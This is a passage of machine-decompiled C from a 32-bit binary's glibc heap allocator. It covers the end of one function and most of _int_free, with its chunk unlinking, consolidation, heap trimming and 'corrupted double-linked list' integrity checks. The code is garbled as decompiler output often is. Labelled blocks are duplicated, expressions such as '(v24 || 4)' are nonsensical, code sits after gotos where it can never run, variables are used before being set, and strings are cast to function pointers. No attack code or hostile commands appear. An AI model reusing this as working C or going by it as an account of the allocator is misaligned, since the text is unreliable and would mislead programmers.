int32_t v68 = *(int32_t *)(v55 + 8); // 0x80b3547
v11 = v68;
int32_t v69 = *(int32_t *)(v55 + 12); // 0x80b354a
g97 = v69;
int32_t * v70 = (int32_t *)(v68 + 12); // 0x80b354d_0
if (v55 == *v70) {
// 0x80b373c
if (v55 == (int32_t)v52) {
// 0x80b3745
*v70 = v69;
v63 = (int32_t *)v11;
v62 = _int_free;
v65 = v53;
v66 = v67;
// branch -> 0x80b3580
lab_0x749abd0:
// 0x80b3580
v64 = *v27;
*v27 = g98;
*(int32_t *)(v64 + 12) = g98;
*(int32_t *)(g98 + 4) = v66 | 1;
*(int32_t *)(g98 + 12) = v19;
*(int32_t *)(g98 + 8) = v64;
*(int32_t *)(g98 + v66) = v66;
g98 = v47;
if (v47 == 0) {
v44 = v63;
v42 = v62;
v46 = v65;
// break -> 0x80b3648
break;
}
v30 = v47;
v29 = v63;
v25 = v62;
v31 = v65;
// continue -> 0x80b35af
continue;
}
}
int32_t v71 = g21; // 0x80b3556
g102 = v71;
int32_t v72 = v71 & 5; // 0x80b355e
g95 = v72;
if (v72 == 5) {
// 0x80b376b
v4 = (struct struct_59 *)"%s\n";
int32_t v73 = v71 & 2; // 0x80b3775
g102 = v73;
int32_t * v74 = (int32_t *)v73; // 0x80b3778_0
__libc_message(v74, (struct struct_59 *)"%s\n");
v63 = v52;
v62 = (int32_t (*)(char *, int32_t *))"corrupted double-linked list";
v65 = v74;
v66 = v67;
// branch -> 0x80b3580
goto lab_0x749abd0;
} else {
// 0x80b356a
if (v71 == 1) {
// 0x80b37ef
g102 = 0;
abort();
// UNREACHABLE
}
int32_t v75 = _itoa_word(v55, v26, 16, v26, v1); // 0x80b36dc
g97 = v75;
uint32_t v76 = g95; // 0x80b36e9
int32_t v77 = v75; // 0x80b370a
if (v76 < v75) {
uint32_t v78 = -1 * v75;
uint32_t v79 = -1 - v76;
int32_t v80 = -1 - (v78 > v79 ? v78 : v79);
g97 = v80;
v77 = v80;
// branch -> 0x80b36fb
}
int32_t v81 = *(int32_t *)g93; // 0x80b3700
int32_t v82 = v81; // 0x80b3710
if (v81 == 0) {
// 0x80b37e0
v82 = 0x810918f;
// branch -> 0x80b370a
}
// 0x80b370a
v4 = (struct struct_59 *)"corrupted double-linked list";
int32_t v83 = g102 & 2; // 0x80b3716
g102 = v83;
__libc_message((int32_t *)v83, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n");
v63 = v52;
v62 = (int32_t (*)(char *, int32_t *))v77;
v65 = (int32_t *)v82;
v66 = v67;
// branch -> 0x80b3580
goto lab_0x749abd0;
}
lab_0x74a7a10:
// 0x80b3580
v64 = *v27;
*v27 = g98;
*(int32_t *)(v64 + 12) = g98;
*(int32_t *)(g98 + 4) = v66 | 1;
*(int32_t *)(g98 + 12) = v19;
*(int32_t *)(g98 + 8) = v64;
*(int32_t *)(g98 + v66) = v66;
g98 = v47;
if (v47 == 0) {
v44 = v63;
v42 = v62;
v46 = v65;
// break -> 0x80b3648
break;
}
v30 = v47;
v29 = v63;
v25 = v62;
v31 = v65;
// continue -> 0x80b35af
continue;
} else {
int32_t * v84 = (int32_t *)(v55 + 4); // 0x80b3622_0
*v84 = *v84 & -2;
v63 = v52;
v62 = _int_free;
v65 = v53;
v66 = v54;
// branch -> 0x80b3580
goto lab_0x74a7a10;
}
int32_t v85 = *v27; // 0x80b3583
v64 = v85;
int32_t v86 = g98; // 0x80b3586
*v27 = v86;
int32_t v87 = v64; // 0x80b3589
int32_t v88 = g98; // 0x80b3589
*(int32_t *)(v87 + 12) = v88;
int32_t v89 = g98; // 0x80b3592
*(int32_t *)(v89 + 4) = v66 | 1;
int32_t v90 = g98; // 0x80b3598
*(int32_t *)(v90 + 12) = v19;
int32_t v91 = g98; // 0x80b359b
int32_t v92 = v64; // 0x80b359b
*(int32_t *)(v91 + 8) = v92;
int32_t v93 = g98; // 0x80b35a1
*(int32_t *)(v93 + v66) = v66;
g98 = v47;
if (v47 == 0) {
v44 = v63;
v42 = v62;
v46 = v65;
// break -> 0x80b3648
break;
}
v30 = v47;
v29 = v63;
v25 = v62;
v31 = v65;
// continue -> 0x80b35af
continue;
}
int32_t v94 = *v22; // 0x80b3648
v43 = (int32_t *)(v94 + 4);
int32_t v95 = *v45; // 0x80b364e
int32_t v96 = *v22; // 0x80b3651
if (v96 != v95) {
v36 = v45;
v37 = v44;
v38 = v42;
v39 = v46;
v35 = v43;
goto lab_0x748bd20;
}
int32_t (*v97)(char *, int32_t *) = v42;
int32_t * v98 = v46; // bp+013
int32_t * v99 = v43; // 0x80b3679_13
// 0x80b3672
g98 = (int32_t)v98;
struct struct_59 * v100 = v4; // 0x80b3676_0
g101 = (int32_t)v100;
g102 = (int32_t)v97;
g100 = v1;
return (int32_t)v99;
}
}
int32_t v101 = g21; // 0x80b35e6
g102 = v101;
int32_t v102 = v101 & 5; // 0x80b35ee
g95 = v102;
if (v102 == 5) {
// 0x80b3750
v4 = (struct struct_59 *)"%s\n";
int32_t v103 = v101 & 2; // 0x80b375a
g102 = v103;
int32_t * v104 = (int32_t *)v103; // 0x80b375d_0
__libc_message(v104, (struct struct_59 *)"%s\n");
v52 = v29;
_int_free = (int32_t (*)(char *, int32_t *))"corrupted double-linked list";
v53 = v104;
v54 = v57;
// branch -> 0x80b360c
goto lab_0x7494d10;
} else {
// 0x80b35fa
if (v101 == 1) {
// 0x80b37ef
g102 = 0;
abort();
// UNREACHABLE
}
int32_t v105 = _itoa_word(v58, v26, 16, v26, v1); // 0x80b3687
g97 = v105;
uint32_t v106 = g95; // 0x80b3694
int32_t v107 = v105; // 0x80b36b2
if (v106 < v105) {
uint32_t v108 = -1 * v105;
uint32_t v109 = -1 - v106;
int32_t v110 = -1 - (v108 > v109 ? v108 : v109);
g97 = v110;
v107 = v110;
// branch -> 0x80b36a3
}
int32_t v111 = *(int32_t *)g93; // 0x80b36a8
int32_t v112 = v111; // 0x80b36b8
if (v111 == 0) {
// 0x80b3786
v112 = 0x810918f;
// branch -> 0x80b36b2
}
// 0x80b36b2
v4 = (struct struct_59 *)"corrupted double-linked list";
int32_t v113 = g102 & 2; // 0x80b36be
g102 = v113;
__libc_message((int32_t *)v113, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n");
v52 = v29;
_int_free = (int32_t (*)(char *, int32_t *))v107;
v53 = (int32_t *)v112;
v54 = v57;
// branch -> 0x80b360c
goto lab_0x7494d10;
}
// 0x80b360c
v55 = g101;
int32_t v114 = *v28; // 0x80b360f
if (v55 == v114) {
goto lab_0x7495ce0;
}
goto lab_0x11394380;
}
// 0x80b360c
v55 = g101;
if (v55 == *v28) {
goto lab_0x7495ce0;
}
goto lab_0x11394380;
}
// 0x80b3648
v43 = (int32_t *)(*v22 + 4);
v45 = v23;
if (*v22 != *v45) {
v36 = v45;
v37 = v44;
v38 = v42;
v39 = v46;
v35 = v43;
goto lab_0x748bd20;
}
// 0x80b3672
g98 = (int32_t)v46;
g101 = (int32_t)v4;
g102 = (int32_t)v42;
g100 = v1;
return (int32_t)v43;
}
// 0x80b353a
int32_t * v115; // 0x80b3679_15
v115[v7] = 0;
v26 = (int32_t)g2;
v28 = (int32_t *)(v7 + 48);
v27 = (int32_t *)(v18 + 64);
v30 = g98;
v29 = a2;
v25 = v3;
v31 = v6;
// branch -> 0x80b35af
goto lab_0x11394260;
}
// Address range: 0x80b37f4 - 0x80b3f3b
int32_t _int_free(char * a1, int32_t * a2) {
int32_t v1 = g100; // 0x80b37f4
int32_t v2 = (int32_t)a2; // 0x80b37fd
int32_t v3 = v2 - 8; // 0x80b3800
g101 = v3;
int32_t v4 = *(int32_t *)(v2 - 4); // 0x80b3803
int32_t v5 = v4 & -8; // 0x80b3808
g102 = v5;
int32_t v6 = v5 + v3; // 0x80b380f
int32_t v7; // 0x80b3b65
int32_t v8; // 0x80b3b65
uint32_t v9;
uint32_t v10;
int32_t v11; // 0x80b3acf
int32_t v12; // 0x80b3b9a
int32_t v13; // 0x80b3e25
if (v3 <= -v5) {
// 0x80b3817
if (v3 == 7) {
int32_t v14 = (int32_t)a1; // 0x80b3823
int32_t v15 = v14 + 4; // 0x80b3826
int32_t * v16 = (int32_t *)v15; // 0x80b3826_0
uint32_t v17 = *v16; // 0x80b3826
g97 = v17;
int32_t v18;
if (v5 > v17) {
// 0x80b3831
if (v4 == 2) {
int32_t * v19 = (int32_t *)(v14 + 48); // 0x80b3869_0
int32_t v20 = *v19; // 0x80b3869
if (v20 == 7) {
// 0x80b3ee7
g101 = 0x8109394;
// branch -> 0x80b3acf
} else {
// 0x80b3874
g97 = v17 & 2;
if (v17 == 2) {
// 0x80b3ab8
if (v6 >= (*(int32_t *)(v20 + 4) & -8) + v20) {
// 0x80b3aca
g101 = 0x81093b4;
// branch -> 0x80b3acf
// 0x80b3acf
v11 = g21;
g98 = v11;
g95 = v11;
if ((v11 & 5) == 5) {
// 0x80b3e1f
v13 = v11 & 2;
g98 = v13;
int32_t * v21 = (int32_t *)__libc_message((int32_t *)v13, (struct struct_59 *)"%s\n"); // 0x80b3e29_4
// branch -> 0x80b3856
// 0x80b3856
return (int32_t)v21;
}
// 0x80b3ae3
if (v11 == 1) {
// 0x80b3ae8
// branch -> 0x80b3af1
// 0x80b3af1
abort();
// UNREACHABLE
}
// 0x80b3b56
v7 = (int32_t)g2;
v8 = _itoa_word(v2, v7, 16, v7, v1);
g97 = v8;
if (g95 < v8) {
// 0x80b3b78
v9 = -v8;
v10 = -1 - g96;
g97 = -1 - (v10 < v9 ? v9 : v10);
// branch -> 0x80b3b83
}
// 0x80b3b83
if (*(int32_t *)g93 == 0) {
// 0x80b3ea1
// branch -> 0x80b3b92
}
// 0x80b3b92
v12 = g98 & 2;
g98 = v12;
// branch -> 0x80b3856
// 0x80b3856
return (int32_t)(int32_t *)__libc_message((int32_t *)v12, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n");
}
}
// 0x80b387d
g97 = v6;
int32_t * v22 = (int32_t *)(v6 + 4); // 0x80b3880_0
uint32_t v23 = *v22; // 0x80b3880
if (v23 == 1) {
// 0x80b3f16
g101 = 0x81093d4;
// branch -> 0x80b3acf
} else {
uint32_t v24 = v23 & -8; // 0x80b388d
if (v23 >= 9) {
// 0x80b389c
if (v24 < *(int32_t *)(v14 + 1100)) {
uint32_t v25 = g69; // 0x80b38ab
int32_t v26; // 0x80b3cd1
int32_t v27; // 0x80b3bb8
int32_t v28; // 0x80b3c3d
int32_t v29; // 0x80b3dab
int32_t v30; // 0x80b3b37
int32_t v31; // 0x80b3b04
int32_t v32; // 0x80b3b19
int32_t * v33; // 0x80b38ca_0
int32_t * v34; // 0x80b391f_0
int32_t * v35; // 0x80b3957_0
int32_t * v36; // 0x80b39ba_0
int32_t * v37; // 0x80b39bd_0
int32_t * v38; // 0x80b3cf6_0
int32_t v39;
int32_t v40;
int32_t v41;
int32_t v42; // 0x80b39fb
int32_t * v43; // 0x80b3b37
int32_t v44; // 0x80b3bb8
int32_t v45; // 0x80b3c3d
int32_t * v46;
struct struct_59 * v47; // bp-56
int32_t v48; // 0x80b38c2
int32_t v49; // 0x80b3cc6
int32_t * v50;
int32_t * v51;
uint32_t v52;
uint32_t v53;
int32_t * v54;
uint32_t v55;
uint32_t v56;
int32_t * v57;
int32_t v58; // 0x80b38c0
int32_t v59; // 0x80b38c297
int32_t v60; // 0x80b3a01
int32_t v61; // 0x80b3ce3
int32_t v62; // 0x80b38be
int32_t v63; // 0x80b38d3
int32_t v64; // 0x80b3928
int32_t v65; // 0x80b39a3
int32_t v66; // 0x80b39ac
uint32_t v67; // 0x80b39b1
int32_t v68; // 0x80b399d
int32_t v69; // 0x80b3a0e
int32_t v70; // 0x80b3cfc
int32_t v71; // 0x80b38db
int32_t v72; // 0x80b3930
int32_t v73; // 0x80b3968
int32_t v74; // 0x80b39d3
int32_t v75; // 0x80b39ec
int32_t v76; // 0x80b3a00
int32_t v77; // 0x80b3bf2
int32_t v78; // 0x80b3c76
int32_t v79; // 0x80b3cc3
int32_t v80; // 0x80b3e40
int32_t v81; // 0x80b3e72
int32_t v82; // 0x80b396e
int32_t v83; // 0x80b38c4
int32_t v84; // 0x80b38c7
int32_t v85; // 0x80b3919
int32_t v86; // 0x80b391c
int32_t v87; // 0x80b39ba
int32_t v88; // 0x80b3a10
int32_t v89; // 0x80b3cba
int32_t v90; // 0x80b3cbd
int32_t v91; // 0x80b3cc9
int32_t * v92; // bp+021
if (v25 == 0) {
// 0x80b38b9
g98 = 0;
v58 = v5;
v59 = 7;
// branch -> 0x80b38be
} else {
// 0x80b38b9
memset(a2, v25 % 256, v5 - 4);
int32_t v93 = g101; // 0x80b3f33
int32_t v94 = *(int32_t *)(v93 + 4) % 2;
g98 = v94;
v50 = v46;
int32_t * v95; // 0x80b3a3f_0
int32_t v96; // 0x80b3a45
int32_t v97; // 0x80b3a13
int32_t * v98; // bp+024
if (v94 == 0) {
// 0x80b38b9
v58 = g102;
v59 = v93;
// branch -> 0x80b38be
// 0x80b38be
v62 = *(int32_t *)v59;
g102 = v58 + v62;
v48 = v59 - v62;
g101 = v48;
v83 = *(int32_t *)(v48 + 8);
v39 = v83;
v84 = *(int32_t *)(v48 + 12);
g97 = v84;
v33 = (int32_t *)(v83 + 12);
int32_t v99; // 0x80b3954
int32_t v100; // 0x80b3b3f
int32_t * v101; // bp+410
int32_t v102;
int32_t v103; // 0x80b3a29
int32_t v104; // 0x80b39e9
int32_t v105; // 0x80b3b09
uint32_t v106; // 0x80b3c0b
int32_t * v107; // bp+023
if (v48 == *v33) {
// 0x80b3d85
if (v48 == *(int32_t *)(v84 + 8)) {
// 0x80b3d8e
*v33 = v84;
*(int32_t *)(g97 + 8) = v39;
v50 = v46;
// branch -> 0x80b38fc
// 0x80b38fc
if (v6 == *v19) {
// 0x80b3b04
v31 = g102 + v24;
g102 = v31;
v105 = v31 | 1;
*(int32_t *)(g101 + 4) = v105;
*(int32_t *)(v14 + 48) = g101;
v51 = v50;
v102 = v105;
// branch -> 0x80b3971
} else {
// 0x80b390b
if (*(char *)((v24 || 4) + v6) == 1) {
// 0x80b3919
v85 = *(int32_t *)(v5 + v2);
v86 = *(int32_t *)(v6 + 12);
g97 = v86;
v34 = (int32_t *)(v85 + 12);
if (v6 == *v34) {
// 0x80b3e00
if (v6 == *(int32_t *)(v86 + 8)) {
// 0x80b3e09
*v34 = v86;
*(int32_t *)(g97 + 8) = v85;
// branch -> 0x80b394e
// 0x80b394e
g102 += v24;
// branch -> 0x80b3951
// 0x80b3951
v99 = v14 + 56;
v35 = (int32_t *)(v14 + 64);
v40 = *v35;
*(int32_t *)(g101 + 12) = v99;
*(int32_t *)(g101 + 8) = v40;
*v35 = g101;
*(int32_t *)(v40 + 12) = g101;
v73 = g102 | 1;
g98 = v73;
*(int32_t *)(g101 + 4) = v73;
v82 = g102;
*(int32_t *)(v82 + g101) = v82;
v51 = v50;
// branch -> 0x80b3971
// 0x80b3971
if (g102 < 0x10000) {
// 0x80b3856
return (int32_t)(int32_t *)v99;
}
// 0x80b397d
g95 = v14;
if (*(char *)v15 == 1) {
// 0x80b3b4c
malloc_consolidate(v1, v51);
// branch -> 0x80b398a
}
// 0x80b398a
if (a1 == (char *)0x8139c40) {
// 0x80b3c03
v106 = *(int32_t *)(g82 + 4) & -8;
if (v106 >= g70) {
// 0x80b3c1a
g97 = 0x8139c40;
g95 = g71;
v101 = (int32_t *)sYSTRIm(v1, v51, (char *)0x8139c40);
// branch -> 0x80b3856
} else {
v101 = (int32_t *)v106;
}
} else {
// 0x80b3997
v68 = *v19 & -0x100000;
g101 = v68;
v65 = g71;
v66 = *(int32_t *)v68;
v67 = g76;
v36 = (int32_t *)(v66 + 48);
v87 = *v36;
v37 = (int32_t *)v87;
v47 = (struct struct_59 *)v68;
int32_t v108; // 0x80b39d0
if (v87 == (v68 || 16)) {
// 0x80b3c87
v38 = (int32_t *)(v66 + 1100);
v29 = (int32_t)g2;
v92 = v37;
v70 = v68;
// branch -> 0x80b3cba
int32_t * v109; // bp+022
while (true) {
// 0x80b3cba
v89 = *(int32_t *)(v70 + 4);
g101 = v89;
v90 = *(int32_t *)(v89 + 8);
v79 = v90 + v89 - 8;
v49 = v79 - *(int32_t *)v79;
v91 = *(int32_t *)(v49 + 4);
v26 = v91 + 8 & -8;
v61 = v26;
if (v91 == 1) {
lab_0x7501a00:
// 0x80b3cdc
v61 = *(int32_t *)v49 + v26;
// branch -> 0x80b3ce3
}
lab_0x7502f20:
// 0x80b3ce3
if (v65 + 16 + v67 > v61 - v90 + 0x100000) {
// 0x80b3eb5
g101 = v70;
// branch -> 0x80b39d0
} else {
// 0x80b3cf3
*v38 = *v38 - *(int32_t *)(v70 + 8);
g67 -= *(int32_t *)(v70 + 8);
struct struct_59 * v110 = v47; // 0x80b3d12_0
if ((int32_t)v110 + 0x100000 == g66) {
// 0x80b3d79
g66 = 0;
// branch -> 0x80b3d22
}
// 0x80b3d22
munmap((int32_t *)v110, 0x100000);
g102 = 0x100000;
int32_t v111 = v49; // 0x80b3d31
int32_t * v112 = (int32_t *)v111; // 0x80b3d3b_0
int32_t v113; // 0x80b3caa
if (*(char *)(v111 + 4) == 1) {
int32_t v114 = v111 - *v112; // 0x80b3d3b
int32_t * v115 = (int32_t *)v114; // 0x80b3d3d_0
int32_t v116 = *(int32_t *)(v114 + 8); // 0x80b3d40
v39 = v116;
int32_t v117 = *(int32_t *)(v114 + 12); // 0x80b3d43
g97 = v117;
int32_t * v118 = (int32_t *)(v116 + 12); // 0x80b3d46_0
if (v114 == *v118) {
// 0x80b3e51
if (v114 == *(int32_t *)(v117 + 8)) {
// 0x80b3e5a
*v118 = v117;
*(int32_t *)(g97 + 8) = v39;
v40 = v114;
v109 = v115;
// branch -> 0x80b3c9a
lab_0x7509e30:
// 0x80b3c9a
*v36 = v114;
*(int32_t *)(v40 + 4) = v61 | 1;
v113 = g101;
v47 = (struct struct_59 *)v113;
if (v40 != v113 + 16) {
// break -> 0x80b3e14
break;
}
v92 = v109;
v70 = v113;
// continue -> 0x80b3cba
continue;
}
}
int32_t v119 = g21; // 0x80b3d4f
g98 = v119;
int32_t v120 = v119 & 5; // 0x80b3d57
g95 = v120;
if (v120 == 5) {
int32_t v121 = v119 & 2; // 0x80b3e8d
g98 = v121;
__libc_message((int32_t *)v121, (struct struct_59 *)"%s\n");
v40 = v114;
v109 = v115;
// branch -> 0x80b3c9a
goto lab_0x7509e30;
} else {
// 0x80b3d63
if (v119 == 1) {
// 0x80b3d68
// branch -> 0x80b3af1
// 0x80b3af1
abort();
// UNREACHABLE
}
int32_t v122 = _itoa_word(v114, v29, 16, v29, v1); // 0x80b3dab
g97 = v122;
if (g95 < v122) {
uint32_t v123 = -1 * v122;
uint32_t v124 = -1 - g96;
g97 = -1 - (v123 > v124 ? v123 : v124);
// branch -> 0x80b3dc7
}
// 0x80b3dc7
if (*(int32_t *)g93 == 0) {
// 0x80b3edd
// branch -> 0x80b3dd6
}
int32_t v125 = g98 & 2; // 0x80b3de2
g98 = v125;
__libc_message((int32_t *)v125, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n");
v40 = v114;
v109 = v115;
// branch -> 0x80b3c9a
goto lab_0x7509e30;
}
lab_0x7513130:
// 0x80b3c9a
*v36 = v111;
*(int32_t *)(v40 + 4) = v61 | 1;
v113 = g101;
v47 = (struct struct_59 *)v113;
if (v40 != v113 + 16) {
// break -> 0x80b3e14
break;
}
v92 = v109;
v70 = v113;
// continue -> 0x80b3cba
continue;
} else {
// 0x80b3c95
v40 = v111;
v109 = v112;
// branch -> 0x80b3c9a
goto lab_0x7513130;
}
// 0x80b3c9a
int32_t v126; // 0x80b3c9d
*v36 = v126;
int32_t v127 = v40; // 0x80b3ca7
*(int32_t *)(v127 + 4) = v61 | 1;
v113 = g101;
int32_t v128 = v40; // 0x80b3cad
v47 = (struct struct_59 *)v113;
if (v128 != v113 + 16) {
// break -> 0x80b3e14
break;
}
v92 = v109;
v70 = v113;
// continue -> 0x80b3cba
continue;
}
// 0x80b39d0
v74 = *(int32_t *)((int32_t)v92 + 4) & -8;
v104 = (v67 - 17 + v74 - v65) / v67 - 1;
v75 = v104 * v67;
v41 = v75;
if (v75 < v67) {
// 0x80b3856
return (int32_t)(int32_t *)v104;
}
// 0x80b39f7
v42 = getpagesize();
v60 = -v75;
if (v60 < 0) {
// 0x80b3b17
v32 = *(int32_t *)(g101 + 8) + v60;
if (v32 >= 16) {
// 0x80b3b25
v30 = (int32_t)g2;
v43 = mmap((int32_t *)((int32_t)v47 + v32), v41, v30, 50, -1, v30);
v100 = (int32_t)v43 + 1;
if (v100 != 0) {
v107 = (int32_t *)0x80b3b3c;
// 0x80b3a39
*(int32_t *)(g101 + 8) = v32;
v95 = (int32_t *)(v66 + 1100);
*v95 = *v95 - v41;
v96 = v41;
g67 -= v96;
*(int32_t *)((int32_t)v107 + 4) = v74 - v96 | 1;
// branch -> 0x80b3856
// 0x80b3856
return (int32_t)v107;
}
v101 = (int32_t *)v100;
} else {
v101 = (int32_t *)v32;
}
} else {
// 0x80b3a09
v69 = v60 + v42 - 1 & -v42;
v88 = *(int32_t *)(g101 + 8);
v97 = v88 + v69;
if (v97 <= 0x100000) {
// 0x80b3a22
v103 = mprotect((int32_t *)((int32_t)v47 + v88), v69, 3);
if (v103 == 0) {
v107 = v92;
// 0x80b3a39
*(int32_t *)(g101 + 8) = v97;
v95 = (int32_t *)(v66 + 1100);
*v95 = *v95 - v41;
v96 = v41;
g67 -= v96;
*(int32_t *)((int32_t)v107 + 4) = v74 - v96 | 1;
// branch -> 0x80b3856
// 0x80b3856
return (int32_t)v107;
}
v101 = (int32_t *)v103;
} else {
v101 = (int32_t *)v88;
}
}
// 0x80b3856
return (int32_t)v101;
}
// 0x80b3e14
v108 = (int32_t)v109;
v98 = v109;
// branch -> 0x80b39d0
} else {
// 0x80b39ce
v108 = v87;
v98 = v37;
// branch -> 0x80b39d0
}
// 0x80b39d0
v74 = *(int32_t *)(v108 + 4) & -8;
v104 = (v67 - 17 + v74 - v65) / v67 - 1;
v75 = v104 * v67;
v41 = v75;
if (v75 >= v67) {
// 0x80b39f7
v42 = getpagesize();
v60 = -v75;
if (v60 < 0) {
// 0x80b3b17
v32 = *(int32_t *)(g101 + 8) + v60;
if (v32 >= 16) {
// 0x80b3b25
v30 = (int32_t)g2;
v43 = mmap((int32_t *)((int32_t)v47 + v32), v41, v30, 50, -1, v30);
v100 = (int32_t)v43 + 1;
if (v100 != 0) {
v107 = (int32_t *)0x80b3b3c;
// 0x80b3a39
*(int32_t *)(g101 + 8) = v32;
v95 = (int32_t *)(v66 + 1100);
*v95 = *v95 - v41;
v96 = v41;
g67 -= v96;
*(int32_t *)((int32_t)v107 + 4) = v74 - v96 | 1;
v101 = v107;
// branch -> 0x80b3856
} else {
v101 = (int32_t *)v100;
}
} else {
v101 = (int32_t *)v32;
}
} else {
// 0x80b3a09
v69 = v60 + v42 - 1 & -v42;
v88 = *(int32_t *)(g101 + 8);
v97 = v88 + v69;
if (v97 <= 0x100000) {
// 0x80b3a22
v103 = mprotect((int32_t *)((int32_t)v47 + v88), v69, 3);
if (v103 == 0) {
v107 = v98;
// 0x80b3a39
*(int32_t *)(g101 + 8) = v97;
v95 = (int32_t *)(v66 + 1100);
*v95 = *v95 - v41;
v96 = v41;
g67 -= v96;
*(int32_t *)((int32_t)v107 + 4) = v74 - v96 | 1;
v101 = v107;
// branch -> 0x80b3856
} else {
v101 = (int32_t *)v103;
}
} else {
v101 = (int32_t *)v88;
}
}
// 0x80b3856
return (int32_t)v101;
}
v101 = (int32_t *)v104;
}
// 0x80b3856
return (int32_t)v101;
}
}
// 0x80b3928
v64 = g21;
g98 = v64;
v72 = v64 & 5;
g95 = v72;
if (v72 != 5) {
// 0x80b393c
if (v64 == 1) {
// 0x80b3945
// branch -> 0x80b3af1
// 0x80b3af1
abort();
// UNREACHABLE
}
// 0x80b3c2e
v28 = (int32_t)g2;
v45 = _itoa_word(v6, v28, 16, v28, v1);
g97 = v45;
v57 = v50;
if (g96 < v45) {
// 0x80b3c50
v55 = -v45;
v56 = -1 - g95;
g97 = -1 - (v56 < v55 ? v55 : v56);
v57 = (int32_t *)48;
// branch -> 0x80b3c5b
}
// 0x80b3c5b
if (*(int32_t *)g93 == 0) {
// 0x80b3ed3
// branch -> 0x80b3c6a
}
// 0x80b3c6a
v78 = g98 & 2;
g98 = v78;
__libc_message((int32_t *)v78, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n");
// branch -> 0x80b394e
// 0x80b394e
g102 += v24;
// branch -> 0x80b3951
// 0x80b3951
v99 = v14 + 56;
v35 = (int32_t *)(v14 + 64);
v40 = *v35;
*(int32_t *)(g101 + 12) = v99;
*(int32_t *)(g101 + 8) = v40;
*v35 = g101;
*(int32_t *)(v40 + 12) = g101;
v73 = g102 | 1;
g98 = v73;
*(int32_t *)(g101 + 4) = v73;
v82 = g102;
*(int32_t *)(v82 + g101) = v82;
v51 = v57;
// branch -> 0x80b3971
// 0x80b3971
if (g102 < 0x10000) {
// 0x80b3856
return (int32_t)(int32_t *)v99;
}
// 0x80b397d
g95 = v14;
if (*(char *)v15 == 1) {
// 0x80b3b4c
malloc_consolidate(v1, v51);
// branch -> 0x80b398a
}
// 0x80b398a
if (a1 == (char *)0x8139c40) {
// 0x80b3c03
v106 = *(int32_t *)(g82 + 4) & -8;
if (v106 >= g70) {
// 0x80b3c1a
g97 = 0x8139c40;
g95 = g71;
v101 = (int32_t *)sYSTRIm(v1, v51, (char *)0x8139c40);
// branch -> 0x80b3856
} else {
v101 = (int32_t *)v106;
}
} else {
// 0x80b3997
v68 = *v19 & -0x100000;
g101 = v68;
v65 = g71;
v66 = *(int32_t *)v68;
v67 = g76;
v36 = (int32_t *)(v66 + 48);
v87 = *v36;
v37 = (int32_t *)v87;
v47 = (struct struct_59 *)v68;
if (v87 == (v68 || 16)) {
// 0x80b3c87
v38 = (int32_t *)(v66 + 1100);
v29 = (int32_t)g2;
v92 = v37;
v70 = v68;
// branch -> 0x80b3cba
while (true) {
// 0x80b3cba
v89 = *(int32_t *)(v70 + 4);
g101 = v89;
v90 = *(int32_t *)(v89 + 8);
v79 = v90 + v89 - 8;
v49 = v79 - *(int32_t *)v79;
v91 = *(int32_t *)(v49 + 4);
v26 = v91 + 8 & -8;
if (v91 == 1) {
goto lab_0x7501a00;
}
v61 = v26;
goto lab_0x7502f20;
}
}
// 0x80b39d0
v74 = *(int32_t *)(v87 + 4) & -8;
v104 = (v67 - 17 + v74 - v65) / v67 - 1;
v75 = v104 * v67;
v41 = v75;
if (v75 >= v67) {
// 0x80b39f7
v42 = getpagesize();
v60 = -v75;
if (v60 < 0) {
// 0x80b3b17
v32 = *(int32_t *)(g101 + 8) + v60;
if (v32 >= 16) {
// 0x80b3b25
v30 = (int32_t)g2;
v43 = mmap((int32_t *)((int32_t)v47 + v32), v41, v30, 50, -1, v30);
v100 = (int32_t)v43 + 1;
if (v100 != 0) {
v107 = (int32_t *)0x80b3b3c;
// 0x80b3a39
*(int32_t *)(g101 + 8) = v32;
v95 = (int32_t *)(v66 + 1100);
*v95 = *v95 - v41;
v96 = v41;
g67 -= v96;
*(int32_t *)((int32_t)v107 + 4) = v74 - v96 | 1;
v101 = v107;
// branch -> 0x80b3856
} else {
v101 = (int32_t *)v100;
}
} else {
v101 = (int32_t *)v32;
}
} else {
// 0x80b3a09
v69 = v60 + v42 - 1 & -v42;
v88 = *(int32_t *)(g101 + 8);
v97 = v88 + v69;
if (v97 <= 0x100000) {
// 0x80b3a22
v103 = mprotect((int32_t *)((int32_t)v47 + v88), v69, 3);
if (v103 == 0) {
v107 = v37;
// 0x80b3a39
*(int32_t *)(g101 + 8) = v97;
v95 = (int32_t *)(v66 + 1100);
*v95 = *v95 - v41;
v96 = v41;
g67 -= v96;
*(int32_t *)((int32_t)v107 + 4) = v74 - v96 | 1;
v101 = v107;
// branch -> 0x80b3856
} else {
v101 = (int32_t *)v103;
}
} else {
v101 = (int32_t *)v88;
}
}
// 0x80b3856
return (int32_t)v101;
}
v101 = (int32_t *)v104;
}
// 0x80b3856
return (int32_t)v101;
}
// 0x80b3e68
v81 = v64 & 2;
g98 = v81;
__libc_message((int32_t *)v81, (struct struct_59 *)"%s\n");
// branch -> 0x80b394e
// 0x80b394e
g102 += v24;
// branch -> 0x80b3951
} else {
// 0x80b3af8
*v22 = *v22 & -2;
// branch -> 0x80b3951
}
// 0x80b3951
v99 = v14 + 56;
v35 = (int32_t *)(v14 + 64);
v40 = *v35;
*(int32_t *)(g101 + 12) = v99;
*(int32_t *)(g101 + 8) = v40;
*v35 = g101;
*(int32_t *)(v40 + 12) = g101;
v73 = g102 | 1;
g98 = v73;
*(int32_t *)(g101 + 4) = v73;
v82 = g102;
*(int32_t *)(v82 + g101) = v82;
v51 = v50;
v102 = v99;
// branch -> 0x80b3971
}
// 0x80b3971
if (g102 < 0x10000) {
// 0x80b3856
return (int32_t)(int32_t *)v102;
}
// 0x80b397d
g95 = v14;
if (*(char *)v15 == 1) {
// 0x80b3b4c
malloc_consolidate(v1, v51);
// branch -> 0x80b398a
}
// 0x80b398a
if (a1 == (char *)0x8139c40) {
// 0x80b3c03
v106 = *(int32_t *)(g82 + 4) & -8;
if (v106 >= g70) {
// 0x80b3c1a
g97 = 0x8139c40;
g95 = g71;
v101 = (int32_t *)sYSTRIm(v1, v51, (char *)0x8139c40);
// branch -> 0x80b3856
} else {
v101 = (int32_t *)v106;
}
} else {
// 0x80b3997
v68 = *v19 & -0x100000;
g101 = v68;
v65 = g71;
